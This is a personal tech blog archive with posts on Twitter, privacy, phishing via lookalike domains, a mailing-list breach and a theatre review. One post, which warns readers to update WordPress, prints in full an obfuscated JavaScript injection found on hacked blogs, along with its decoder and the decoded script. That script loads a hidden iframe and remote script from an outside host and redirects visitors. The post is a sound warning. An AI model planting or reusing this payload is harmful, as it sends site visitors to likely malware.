TechnoSocial

Senators Proposing a Mandatory Biometric National ID Card

2010-03-09T13:28:33Z

What Lauren says is a good enough start, I'll simply refer you to his blog post.

Lauren Weinstein's Blog: "Your Papers, Please!" - Get Your Fingerprints Ready! Cross-Party Senate Alliance Pushing National ID Card http://j.mp/bBzApT

Greetings. According to the Wall Street Journal, U.S. Senate immigration reform advocates Chuck Schumer and Lindsey Graham are proposing a mandatory biometric (e.g. fingerprint-based) National ID Card system, and are attempting to brush away privacy concerns as trivial and irrelevant.

Links for 2010-03-01 [del.icio.us]

2010-03-02T00:00:00-08:00

ConversationList.com - A conversationlist is your attention transformed into a tweetstream.
A "conversationlist" is a Twitter list of the people that you talk to (and about) on Twitter. The list is automatically updated daily, so that it always reflects the people that you are paying attention to right now. If you @reply (or @mention) someone, they're added to your list. If you stop talking to that person, they drop off your list. If you create a conversationlist, the people following your tweets can get a little more context: once someone follows your list, it means that they automatically see the tweets from the people that you're sending @replies to, retweeting, or mentioning, so your tweets don't appear in a vacuum. Your followers see what the people who influence you are saying on Twitter.
10 reasons to avoid talking on the phone - The Oatmeal

Links for 2010-02-03 [del.icio.us]

2010-02-04T00:00:00-08:00

Font Squirrel | Handpicked free fonts for graphic designers with commercial-use licenses.
ONLY THE BEST COMMERCIAL-USE FREE FONTS Free fonts have met their match. We know how hard it is to find quality freeware that is licensed for commercial work. We've done the hard work, hand-selecting these typefaces and presenting them in an easy-to-use format. Here are some of our favorites:
FreshBooks Pricing
Looks like a reasonable system for doing invoicing. What you might lose in integration with your accounting software you gain in the ability to easily integrate with sub-contractors who invoice you.
The League of Moveable Type
We're done with the tired old fontstacks of yesteryear. Enough with the limitations of the web, we won't have it. It's time to raise our standards. Here, you'll find only the most well-made, free & open-source, @font-face ready fonts.

WordPress Exploits — Update WordPress Regularly!

2010-02-04T02:24:12Z

Image via Wikipedia

I just had a number of friends get nailed with a WordPress exploit which redirected users from their blog to sites in China. Exploits like this have been around for ages, and the constant need to update WordPress is one reason I use MovableType, which creates static sites and is therefore much less susceptible to this sort of thing, but be that as it may. CHECK YOUR BLOG FOR UPDATES REGULARLY!

I don't know the actual mechanism by which the code was inserted into the blog, it's a small piece of Javascript inserted into the PHP header file for the site. The one person whose blog I looked at in detail was running 2.6.1, which has an exploit which allows people to create their own admin account, but it could have been any other number of issues. The current version of WordPress as of this writing is 2.9.1. UPDATE!

For what it's worth, here's the code.

<script language="javascript">document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%264Fepdvnfou/xsjuf%2639%2633%264Dtdsjqu%2631tsd%264E%266D%2633%2633%2C%2633iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G3%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2633%2C%2633%266D%2633%264F%264D%266D0tdsjqu%264F%2633%263%3A%264C%264D0tdsjqu%264F%261B%264Dtdsjqu%264F%261Bjg%2639uzqfpg%2639i%263%3A%264E%264E%2633voefgjofe%2633%263%3A%268C%261%3A%261B%261%3Aepdvnfou/xsjuf%2639%2633%264Djgsbnf%2631tsd%264E%2638iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G4%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2638%2631xjeui%264E2%2631ifjhiu%264E2%2631cpsefs%264E1%2631gsbnfcpsefs%264E1%264F%264D0jgsbnf%264F%2633%263%3A%264C%2631%261B%268E%261Bfmtf%2631jg%2639i/joefyPg%2639%2633iuuq%264B%2633%263%3A%264E%264E1%263%3A%268C%261B%261%3A%261%3Axjoepx/mpdbujpo%264Ei%264C%261B%268E%261B%264D0tdsjqu%264F1')</script>

That produces a function which it then runs over the second, more randomly obfuscated code.

<script language="javascript">function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));document.write(unescape(t));}</script>

That then results in:

<script>document.write("<script src=\""+"http://itsallbreaksoft.net/tds/in.cgi?2&seoref="+encodeURIComponent(document.referrer)+"&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+ encodeURIComponent(document.URL)+"&default_keyword=notdefine"+"\"><\/script>");</script>
<script>
if(typeof(h)=="undefined"){	
	document.write("<iframe src='http://itsallbreaksoft.net/tds/in.cgi?3&seoref="+encodeURIComponent(document.referrer)+"&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+ encodeURIComponent(document.URL)+"&default_keyword=notdefine' width=1 height=1 border=0 frameborder=0></iframe>"); 
}
else if(h.indexOf("http:")==0){
		window.location=h;
}
</script>

That code sends your browser on a wild goose chase through several servers, each of which is inappropriately allowing the user to create a redirect to yet another site. Some of those servers are probably compromised, because in the hour I looked at one site, the same exploit code sent me to different sites in China. I would rate the odds very high that those sites may contain malware exploits against some web browsers, so if you aren't up-to-date with your browser patches, it's time to run your anti-virus software and cross your fingers.

Can you trust your bulk mail provider's security?

2010-02-01T22:41:18Z

Note: I heard back anonymously from a customer of iContact. Are they upset that all their customer's email addresses were stolen? Yes. But they aren't that worried about the impact, because they know that most of their customers will never realize that iContact or their company was the source of the leak. In other words, there is no incentive for bulk mail providers to improve security. An email address, particularly one associated with a particular set of services, is the means by which targeting spammers target phishing attacks. It's the key to password changes, bank accounts, and more. Why are the security standards for email any less than they are for credit cards?

Every time a web site asks me for an email address, I use a unique address that includes their domain name in it. This makes it very easy for me to track when a company either misbehaves, or their mailing list has been compromised. Of course, often the company sending me the mail is using a third-party email provider to deliver, and here's the dirty secret.

When your email provider's database gets broken into, and a spammer gets all of their customer emails? They don't necessarily tell you, the client. And they certainly don't bother telling the poor sucker whose email address was stolen.

Image via CrunchBase
Case #1—AWeber

Starting December 2009, I began receiving spam to the address I use for the help-a-reporter service. I filed a report with their existing bulk mail provider, but got no response. It turned out that HARO had only recently switched to this provider, the real culprit was their previous email provider. A discussion with Adam Shankman led him to research the issue and find out (from an article on the internet!), that his previous email provider had been compromised and all of HARO's email addresses had been fed to spammers. AWeber's subscriber list had been compromised, and they had told none of their customers until they started getting complaints.

Image via CrunchBase

Case #2—iContact

Today I noticed three identical spam messages to three different custom email addresses. They were for the morrisonsoftdesign.com, fontgear.net and myhappyplanet.com. I went back and found that a) it had been going on for at least a few weeks and b) all three companies do, or have used icontact.com to deliver their mail (morrisonsoftdesign.com switched providers at some point). So in other words. If you have an account with morrisonsoftdesign.com, fontgear.net or myhappyplanet.com, or any other company that uses iContact, your email address has almost certainly been fed to the spammers. But don't blame the company you subscribed with, the culprit is iContact. Other iContact customers include (according to their web site) Peach Running Co., West Race Cars, Pro Mom Couture and 58,654 other customers with 577,545 email addresses. Feel free to let them know what you think of their ineptitude.

It's unconscionable that these companies are not notifying their own clients of data breaches, let alone the end-users who end up getting spammed. If any of them have a presence in California, it is probably also illegal.

Links for 2010-01-28 [del.icio.us]

2010-01-29T00:00:00-08:00

AT&T FamilyMap : Sign In

Dealing with Security Issues in Non-Latin Domain Names

2009-12-29T18:59:48Z

Lauren Weinstein recently posted the following to his NNSquad Mailing List.

Example of how "de-Latinized" domain names can be subverted

http://bit.ly/6YbTBR (Dean Collins' Blog)

Dean, the "fun" has only just begun. Some of us have been warning of
this consequence for ... well ... pretty much since day one of the
concept.

As the character of Margo Channing (Bette Davis) so accurately warned
in "All About Eve":

"Fasten your seatbelts, it's going to be a bumpy night!"

To say the least ...

--Lauren--
NNSquad Moderator

The article starts off discussing the trademark issues when someone registers an identical word in a different language, but then hits the more critical (and long-anticipated) issue that it is now possible to have the domain name.

раyраl.com

which, when pasted in your browser window looks like "paypal.com" but is actually cyrillic and goes to an entirely different site.

Here's my take on the situation (I've sent this to Lauren, it may or may not appear in the mailing list).

Things like the alternate character sets in раyраl.com are one reason why I depend on browser's and/or packages like http://agilewebsolutions.com/'s 1Password (Mac & iPhone, formerly 1Passwd for you Unix geeks) or http://supergenpass.com/ (bookmarklet-based, cross-browser) to remember passwords. They aren't fooled by what the URL looks like, they only enter the password if the site actually has the same domain. That said, depending on lack of feedback (the browser didn't enter the password automatically) is lousy security. I'm very surprised that the browsers makers weren't prepared to at least provide a character set indicator on the URL (we all knew this was coming) not that it would make a huge difference for the majority of users.

I've become convinced that there is no UI solution to phishing. Password entry (or a completely different authentication model) needs to be done outside of the browser, and the interaction between the browser and the web site needs to be under secured program control. The system is too complex, and the possible failure modes so varied, that the average user simply cannot be expected to tell a legitimate error from a forged one. The other day my mother cut up her credit card because an online store said it wasn't valid, so she assumed it had expired. Presumably she either entered a typo, or their back-end was down (it was a valid site). No UI in the world is going to help when the system is too complex for the user to understand.

Solutions like 1Password and SuperGenPass work 90% of the time, until the domain name changes, or the form field names change*; then you have to enter the info by hand. A secure certificate solution for filling out and remembering forms, per-site randomly generated passwords, and a protocol for passing the information back and forth might put a dent in the phishing market, but like spam and viruses--this isn't a solvable problem, it's an ongoing battle.

* And yes, obviously a software password repository creates single target to all of the user's information. But given that most people use the same password for all sites, and those sites are in their browser history, I don't see the security issue as significantly different from the current situation.

Links for 2009-11-11 [del.icio.us]

2009-11-12T00:00:00-08:00

Top 10 JavaScript Frameworks by Google | tripwire magazine
A nice quick summary of the top-ten frameworks out there, including their major features. I've always been a MooTools fan, very clean and easy to use, animation builtin from the beginning, and I've had no trouble porting Prototype code to it. But there are some other interesting options listed as well.

Seriously, how is Twitter going to help my company?

2008-10-15T04:24:57Z

I'm not a PR or social media consultant, so what does this do for me?

I know. We probably do not need yet another "why should I use Twitter" post. But, the topic keeps coming up, and there is no one definitive answer, so I thought I would give it another try.

This evening I was talking to Alan Ball about Twitter. We had first met at Hannah Burr's Productivity session at the MassTLC Innovation Unconference, and tonight we both happened to be at Dan Bricklin's TechTuesday get-together. He asked me about the value of Twitter to someone like him, because frankly: if you are not in the marketing or social media space, it is not really obvious how to use Twitter. If your business is communicating and selling yourself online, there is a clear benefit to being active on social networks of all kinds. Alan, however, is a freelance industrial designer (Alan Ball Industrial Design, Inc.). His customers are usually hardware engineers; they are not likely to be heavy Twitter users. So, why should Alan join Twitter, and more importantly, what should he do once he is there?

Twitter as a golf course.

Even getting people to understand Twitter can be an uphill climb, but Alan mentioned something that Laura Fitton (better known in social networking circles as @pistachio) had said at another session at MassTLC Innovation:

"Twitter is my golf course."

That particular analogy clicked with him. Twitter is a networking tool in the old sense of networking—a way to keep in touch with current and potential business partners in a social setting. (Laura expands on it somewhat here). That's a good way to look at it, but it doesn't change the fact that most of his clients aren't using Twitter—playing golf by yourself doesn't offer a lot of networking opportunities.

Twitter is about reputation.

In my mind, the primary value of Twitter to a business is as a way to build and enhance reputation.

The classic example of this is @comcastcares, a Twitter account backed by one person (Frank Eliason) who spends (as far as I can tell) most of his waking hours answering customer questions for Comcast. He has probably done more to improve Comcast's abysmal customer service reputation than anyone else in the company. He does it by being knowledgeable and transparent. You can watching his responses to customers, and he is very open about network problems, letting you know not only how long until a fix is ready, but why he knows. For example, on 2 October 2008, he tweeted a reply to a customer: "I am not loving your signals, running tests in neighborhood and looks like it could be isolated at your location. I recommend a tech." He also improves Comcast's reputation by being human; one of his tweets from 21 July 2008 reads, "I am home with my 6 month old today because she is sick. I ask our 2 year old if she wants to stay with Dad. She responds NO! GO TO SCHOOL." The human element is something that makes Twitter unique in what has increasingly become an impersonal world of customer support. It is a reminder that you are dealing with an actual human. People's questions are more polite, and more tolerant of any difficulties a service may be having. Companies would do well to not only follow Frank's example on Twitter, but to carry some of those lessons over to their traditional customer support systems.

This approach works for customer support, but there is more to reputation than talking to customers. Reputation is about building a following of people who believe you have something worthwhile to share. I believe this is where Twitter has the most to offer anyone who is not in the social media business.

How do you build a reputation?

One of the first companies I worked for out of school was Apollo Computer. A large portion of Apollo's architecture design and discussion took place on the R&D mailing list. As a new employee (with only one year in the industry plus a highly relevant degree in Anthropology), I was understandably nervous about my skills. I soon discovered the mailing list was completely agnostic as to age, education or background. People would post questions, suggestions, problems; others would respond. If you dove in with a nonsense response, you were ignored (or on occasion, flamed). Fundamentally, though, your reputation was based not on who you were, but how good your ideas were. Twitter provides the same environment, only with a scope which spans companies, countries, and time zones.

When you join Twitter, you generally start by following a few people you heard about online. You can also go to http://search.twitter.com/ to see if anyone is discussing topics you find interesting. As you watch posts from the people you follow, you see half of the conversation, so you begin following some of the people who seem to be carrying on interesting conversations with your contacts. Eventually, you jump into the conversations. The advantage Twitter has over a mailing list is two-fold. First, it scales better: because they are limited in size, many conversations can happen at the same time. Second, people can carry on semi-private conversations which followers can either ignore or contribute to (e.g. anyone following my timeline will quickly discover that my children are attending boarding school this year and that I regularly converse with my oldest about homework, sleep, caffeine, and any other pesky worries a parent has when their child is away).

It is these semi-private conversations that can enhance your reputation. You see someone talking about something. You think you have something useful to add, so you reply. Your correspondent can ignore you, block you (oops!), reply to your post, or decide (usually after looking at your Twitter timeline) that the reply was useful and not a fluke, and follow you. Congratulations! You just improved your reputation. Someone felt what you said had value, and wants to hear more.

Your peers are more important to your reputation than your customers.

Back to the question at hand. How does this help if your customers do not use Twitter? The answer is something that also came up at the MassTLC Innovation Unconference, although in a different context. A number of sessions focused on getting the attention (and hopefully, dollars) of venture companies. The issue is that VCs primarily invest in people, not ideas. They want to know the people they are investing in, but of course that is not always possible, so when they are interested in a presentation, they talk to others in the field and the community. They need to know if you are someone who is trusted and respected by your peers.

When it comes down to it, customers are not that different than VCs, especially when they are dealing small companies. Customers want to know if you have a good reputation. They will find out by searching online of course, but also by using their contacts to see if anyone knows you. Has someone they know on the other coast heard of you, and does that person think you have good ideas? What do people in your field think of you? This is where building an online reputation can make a big difference to your company and your career.

So, if Twitter is your golf course, the people with whom you want to play golf are not necessarily your customers (which is not to say you should not invite them if they do play golf). The people with whom you want to interact are your peers, because it is amongst your peers that you can best build your reputation. (And seriously, interacting with your peers is always good for creativity, whether or not you feel a need to network.) The good news is, if your peers are not on Twitter, you can certainly draw them in—because all these arguments work for them too.

Do not hit the golf course without practicing first.

Finding the proper balance of posting/replies, and social/work discussion is a skill, and it takes time. If you were going to network on the golf course, I trust you would go out and get a few lessons before you get together for a foursome. The same strategy works for Twitter. Your peers and customers are not online yet? Great! You get online and learn the ropes now. As your community grows, you will be the expert who has the necessary skills. You had to learn the right way to communicate by the telephone, and the right tone and frequency to use in email. Twitter is just another communication tool, but as with previous tools, it pays to hone your skills first. If you are in a hurry, talk to someone like Laura Fitton, the leading "golf pro" on Twitter.

About that "micro-blogging" thing.

I am not terribly fond of the term "micro-blogging". Yes, there is an aspect of Twitter that is similar to blogging, and certainly it can be used in that manner. Blogging, however, tends to consist of pronouncements-from-on-high without a lot of conversation. (This can change if you have an extremely popular blog that receives a high volume of comments, but face it, most people do not and never will.) Twitter is more about conversations, discussions, and (yes) arguments. Twitter can be used as a mini-blog, but demonstrating your skills in active conversation will enhance your reputation far more than just posting your opinions.

One final thought.

Do not be shy about sharing your expertise. For every person who benefits from your free advice, there are a dozen more who will remember that you are the go-to person when they need your services.

"I always tell people, your biggest problem in life is not going to be hiding your stuff so nobody steals it. It's going to be getting anybody to ever use it." — George Church

Kee Hinckley with help from Angeles Winesett

What are you doing for the International Day of Peace? September 21

2008-09-17T18:39:46Z

I don't think I need to say much here. September 21.

Background and Purpose - International Day of Peace

About International Day of Peace, September 21

The International Day of Peace ("Peace Day") provides an opportunity for individuals, organizations and nations to create practical acts of peace on a shared date. It was established by a United Nations resolution in 1981 to coincide with the opening of the General Assembly. The first Peace Day was celebrated in September 1982.

In 2002 the General Assembly officially declared September 21 as the permanent date for the International Day of Peace.

By creating the International Day of Peace, the UN devoted itself to worldwide peace and encouraged all of mankind to work in cooperation for this goal. During the discussion of the U.N. Resolution that established the International Day of Peace, it was suggested that:

"Peace Day should be devoted to commemorating and strengthening the ideals of peace both within and among all nations and peoples…This day will serve as a reminder to all peoples that our organization, with all its limitations, is a living instrument in the service of peace and should serve all of us here within the organization as a constantly pealing bell reminding us that our permanent commitment, above all interests or differences of any kind, is to peace."

Since its inception, Peace Day has marked our personal and planetary progress toward peace. It has grown to include millions of people in all parts of the world, and each year events are organized to commemorate and celebrate this day. Events range in scale from private gatherings to public concerts and forums where hundreds of thousands of people participate.

Anyone, anywhere can celebrate Peace Day. It can be as simple as lighting a candle at noon, or just sitting in silent meditation. Or it can involve getting your co-workers, organization, community or government engaged in a large event. The impact if millions of people in all parts of the world, coming together for one day of peace, is immense.

International Day of Peace is also a Day of Ceasefire – personal or political. Take this opportunity to make peace in your own relationships as well as impact the larger conflicts of our time. Imagine what a whole Day of Ceasefire would mean to humankind.

Links for 2009-08-11 [del.icio.us]

2009-08-12T00:00:00-07:00

Juxtaposer the amazing photo compositing app for the iPhone / iPod Touch
Juxtaposer lets you combine multiple pictures into fun photomontages quickly and easily thanks to its amazingly intuitive and responsive user interface. Take any element from one picture and add it to another. Put your friend's head on a statue's body, remix your pets into a mythical creature, or magically join your favorite band, it's simple and the process is fun.
Midas Photo Enhancement software for Windows/Mac/iPhone
Consumer digital cameras or phone cameras usually produce images that suffer from lack of contrast, balanced brightness, detail, and vivid color. Sometimes this is the fault of the camera, and sometimes it's the photographer who does not know how to use (or chooses not to use) the camera's complicated manual mode. This can result in: Gray and lifeless images under bright conditions such as the beach or snow. Dark photos in suboptimal lighting conditions, such as indoors. Lost details in featureless highlights or shadows.

Links for 2009-06-18 [del.icio.us]

2009-06-19T00:00:00-07:00

The Freelancer's iPhone: Productivity solutions for independent professionals
I've learned that working solo is 1 part thrilling, 90 parts horrifying and 9 parts educational. Also, I've found the best setup for my iPhone to help me through my self-employed day. Here I'll describe the apps, settings and hardware that I've found most useful. Feel free to share your own.

Links for 2009-06-05 [del.icio.us]

2009-06-06T00:00:00-07:00

CSS Shorthand Guide
A guide to CSS shorthand properties (e.g. "background:" vs. "background-color:").

Police raids in Minneapolis -- What happened to checks and balances?

2008-08-31T18:48:18Z

Salon Article

Protesters here in Minneapolis have been targeted by a series of highly intimidating, sweeping police raids across the city, involving teams of 25-30 officers in riot gear, with semi-automatic weapons drawn, entering homes of those suspected of planning protests, handcuffing and forcing them to lay on the floor, while law enforcement officers searched the homes, seizing computers, journals, and political pamphlets. Last night, members of the St. Paul police department and the Ramsey County sheriff's department handcuffed, photographed and detained dozens of people meeting at a public venue to plan a demonstration, charging them with no crime other than "fire code violations," and early this morning, the Sheriff's department sent teams of officers into at least four Minneapolis area homes where suspected protesters were staying.

This isn't the first of these this week. It really bothers me that the police can arrest people, confiscate their goods, never press charges, and release them all later with no explanation and no consequences. This makes intimidation far too easy. The magic words "homeland security" keep getting invoked.

If the police now have a simple way to hold people without charges, then the people need a simple way to make the police suffer consequences when the power is misused.

Companies fear web search finding a bad review. How will they feel when it's

2008-07-07T01:29:59Z

Companies fear web search finding a bad review. How will they feel when it's attached to their physical location 4 future visitors to read?

The key concept geolocation brings to social networking is not

2008-07-07T01:22:25Z

The key concept geolocation brings to social networking is not location-centricity, but rather time-independence. Msgs are time capsules.

Charles de Lint--Changing how you see the world

2008-06-25T18:43:54Z

Mobile post sent by nazgul using Utterz. Replies. mp3

By George, I think he's got it!

2008-06-21T19:35:52Z

Well, okay, he's getting close…

Doonesbury@Slate - Daily Dose Donesbury

"Take the Middle East seriously, because that's the center of - that's the place where people get so despondent and despair that they're willing to come and take lives of U.S. citizens."
-- George W. Bush, asked on Al Arabiya TV what advice he would give the next president

You mean like, maybe policy of supporting dictatorships and monarchies, and squelching even semi-democracies, might possibly have something to do with terrorism?

Will the Apple App Store Stick to Just the iPhone?

2008-06-13T02:52:23Z

I brought this up a while back when Apple first announced the store, but now that analysts are estimating possible revenues of $1+ billion in 2009, I think it's worth repeating.

Apple's App Store could emerge as $1.2B business by 2009 AppleInsider

Investment bank Piper Jaffray is urging investors who typically focus only on Apple's hardware announcements to also pay attention to the company's iPhone software strategy, particularly its upcoming App Store, which could balloon into a $1 billion market by next year.

Once you've gone to the trouble of setting up all the infrastructure necessary to sell, deliver and update applications—why stop with just the iPhone? You've done the hard work, everything else is just incremental costs. The Macintosh is the obvious next step, but there's no reason not to provide Windows applications as well. The market potential dwarfs that of just iPhone software.

The initial folks who stand to lose are places like Kagi and Digital River, who currently provide payment and (in some cases) delivery services for small software vendors. But they don't provide marketing, automatic updates, signed applications, and FairPlay copy protection. Apple is going to roll right over them; but they won't stop there.

See The iTunes Trojan Horse: Selling Applications for more thoughts on where Apple might go.

Video Collage Using Flickr's Moving Pictures

2008-06-13T02:03:17Z

Stabilized Video Collages, First Try
Originally uploaded by ibftp

Flickr as brilliant to limit their videos to 90 seconds. They aren't videos, they are moving pictures; which is perfect for the way people use Flickr.

Here's a wonderful experiment in using moving pictures to do something that people have done with still pictures for ages. Take a series of (moving) pictures and merge them together into a panorama or collage. The result is fascinating, and far more useful than I would have thought. I've often used movie-mode in my camera to create panoramas, but if you have a scene which already has lots of movement, that's like viewing the world through peephole. This, on the other hand, gives you the full breadth of a panorama, with the movement of a video. I'm definitely going to give it a try.

Supreme Court ruling cripples Guantanamo trials

2008-06-12T20:29:43Z

Let's hear for for having three relatively independent branches of government. It's far from perfect, but the odds of all three making the same mistakes at the same time are thankfully low.

The future of President Bush's controversial military trial system for terror suspects held at Guantanamo Bay has been dealt a potentially terminal blow by the US Supreme Court.

In its third rebuke of the Bush Administration's treatment of prisoners at Guantanamo Bay, the court ruled that the 270 foreign terror suspects have the right under the US Constitution to challenge their detention in civilian courts on the American mainland.

The 5-4 ruling did not order the military tribunal process to be halted but it could trigger a chaotic rush to civilian courts that in practical terms will leave the question of what to do with men such as Khalid Sheikh Mohammed, the September 11 mastermind, in the hands of the next president.
http://www.timesonline.co.uk/tol/news/world/us_and_americas/article4123181.ece

Elections and Erections: A One-Queen Play at the A.R.T.

2008-04-16T07:15:32Z

"Don't ask me about racism. As a white racist it didn't affect me. But if you ask me about fear, I can tell you about that."

Pieter-Dirk Uys, in "Elections and Erections"

That line ends a serious interlude in the show, one of several that provide counterpoint to the satire and humor he so deftly uses to highlight the flaws of South African society, both before and after apartheid. He has just told us how he came to be a democrat, and he has told us of sharing the garden-shed home of a yard-boy at a rich South African home. Of the fear of being discovered. The fear of being black with white, white with black. A fear so powerful that it overwhelms the fear of being man with man. Even now, when I relate the story to my friends, that final line sends a shiver down my spine.

Pieter-Dirk Uys' alter-ego is Evita Bezuidenhout, a household name in South Africa, famous for over thirty years of satire against the apartheid government. But she hasn't stopped there. "Elections and Erections" makes it clear that Uys' true enemy is that which makes people afraid. Whether it's corruption in the apartheid government or in the ANC; politicians denying the existence of AIDS; friendships with dictators based on a common race; ignorance; false pretenses; or just the everyday fears of trying to survive in a country stuck in a downward spiral. Uys wants to expose the things that make us afraid, shine the bright light of humor on them, and bring hope and laughter to the people he loves: the people of South Africa.

I'm hearing only bad news
From Radio Africa,
I'm hearing only sad news
From Radio Africa
"Radio Africa" by Latin Quarter.

If Evita Bezuidenhout has a counter-part in the the U.S., it might be Stephen Colbert, with his pseudo-conservative satire. But Evita is much more biting and relevant, and Uys has many more roles to don beyond Evita. He plays the ANC politicians contemplating whether the next president will get the position before, or after, he is thrown in jail for corruption. He lampoons (gently, but none-the-less) Archbishop Desmond Tutu. He describes the trials of a Jewish African Princess, her relatives self-exiled to Canada, trying desperately to be the liberal she knows she ought to be. He takes on Winnie Mandela, including relating the time he played her character (complete with rubber tire jewelry) with the real Winnie in the audience. He talks to the asian storekeeper whose husband used to be too black for jobs, but now is turned down because he is too white. He does a chilling rendition of Grace Mugabe as an evil child-like woman, losing her mind to AIDS. And he doesn't save all his barbs for Africa; his characterization of Mother Theresa, filling in for Marilyn Monroe as God's secretary, is priceless. The angels are on strike, suicide bombers keep showing up in pieces looking for their virgins, and the son of the managing director is refusing to return to Earth. He even does a great Hillary (and Bill!) impersonation.

What makes Uys' work really stand out, particularly as compared to American satirists like Colbert, is its compassion; even his enemies are human. The apartheid-era security chief he lampoons still had a sense of humor. Winnie Mandala may have "necklaced" informants, but she now tours AIDS facilities and pushes AIDS education. This, in a country where the government Health Minister promotes a cure of beet juice, and claims that HIV drugs are poisonous. His barbs are as pointed as they are funny, but he sees the humanity in everyone. In his heart, his true goal is to make his people happy and unafraid. You can see it in his eyes as he relates the story of a little black boy who wanders into his theatre as he is building the stage. From a simple "do you like to sing" and a few shaky songs, you see Uys' pride as he relates how that same child made it all the way to top awards at Trinity College. Uys' South Africa has nothing to do with race, and everything to do with the pride of being a good human being.

Told today that they release you
That you had paid your debt
Nomzamo in her own damn country
How much more boorish can these people get?
But you refuse to get the message
Of waving whips, in bloody semaphore
Where only gunfire's indiscriminate - as always
One People! One Cause!
One People! One Cause!
Nomzamo! Nomzamo...
"Nomzamo" by Latin Quarter.

South Africa has not been on the forefront of American minds for some time. As Uys says, if Nelson Rolihlahla Mandela hadn't had an easy-to-pronounce first name, Americans may not have been aware of the country's plight at all. In "Elections and Erections," Uys entertains, and more importantly, educates. Throughout the show, he relays tidbits of history and culture which later become the punch lines of his comedy, ensuring the audience understands the satirical context of his work. Yet the pace never suffers. The flow of comedy and pathos, serious and profane, never falters. This is not a show you want to miss. I only wish we could import Pieter-Dirk Uys to provide a similar look at ourselves.

"Elections and Erections: A Chronicle of Fear and Fun" is written and performed by Pieter-Dirk Uys. It is playing at the American Repertory Theatre's "Zero Arrow Theatre" playhouse (a wonderful dinner-theatre style space just off Harvard Square, with tables, a bar, and wonderful ambience). It will be showing through May 4th, 2008. For more information on this show and other performances, see the A.R.T. site.

The A.R.T. graciously provided free tickets to myself and other Boston-area bloggers in exchange for an honest review (good or bad). I'd like to thank them for initiating this experiment in new media.

Many thanks to @devyl for the editing assistance.
Any errors are due to my not following her advice.